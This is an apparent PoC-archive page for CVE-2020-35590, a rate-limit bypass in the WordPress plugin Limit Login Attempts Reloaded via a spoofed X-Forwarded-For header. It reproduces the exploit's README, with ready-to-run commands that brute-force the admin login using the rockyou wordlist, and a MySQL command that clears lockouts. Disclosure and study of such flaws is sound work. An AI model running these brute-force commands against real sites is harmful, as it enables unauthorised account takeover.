Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-35590 PoC — WordPress limit-login-attempts-reloaded 安全漏洞

Source
Associated Vulnerability
Title:WordPress limit-login-attempts-reloaded 安全漏洞 (CVE-2020-35590)
Description:WordPress是WordPress(Wordpress)基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。 WordPress limit-login-attempts-reloaded plugin 2.17.4 之前版本存在安全漏洞,该漏洞允许绕过(每个IP地址)速率限制,因为x-forwarding for头可以被伪造。当插件被配置为接受客户端源IP地址的任意报头时,恶意用户不受暴力攻击的限制,因为客户端IP报头接受任意字符串。当随机化头部输入时
Description
Brute-force tool for WordPress Plugin Limit Login Attempts Reloaded >=2.13.0 - Login Limit Bypass (CVE-2020-35590)
Readme
## Exploit Information

**Exploit Title:** WordPress Plugin Limit Login Attempts Reloaded 2.13.0 - Login Limit Bypass  
**CVE:** [CVE-2020-35590](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-35590)  
**Date:** 2020-06-09  
**Exploit Author:** N4nj0  
**Software Link:** [https://wordpress.org/plugins/limit-login-attempts-reloaded/](https://wordpress.org/plugins/limit-login-attempts-reloaded/)  
**Version:** 2.13.0  
**Tested on:** WordPress 5.4.1, 5.4.2  
**Vulnerability Advisory:** [https://n4nj0.github.io/advisories/wordpress-plugin-limit-login-attempts-reloaded/](https://n4nj0.github.io/advisories/wordpress-plugin-limit-login-attempts-reloaded/)  

The affected WordPress plugin is aimed to be a bruteforce attack protection mechanism, and is currently installed in more than **1 million** of active installations.  
I've found a rate limiting bypass under a non-default configuration, which effectively defeats the plugin purpose.  

## Usage

### Check

`./wp-brute.py -c -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt`  
`./wp-brute.py --check --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet`  

### Exploit
`./wp-brute.py -e -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt -q`  
`./wp-brute.py --exploit --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet`  

### Manually unlock user
`mysql -uroot -ppassword wordpress -e "UPDATE wp_options SET option_value = '' WHERE option_name = 'limit_login_lockouts' LIMIT 1;"`  
File Snapshot

[4.0K] /data/pocs/3b0fa973e245466c60fa8c1dead4da9462672ce2 ├── [1.0K] LICENSE.md ├── [1.6K] README.md └── [ 10K] wp-brute.py 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.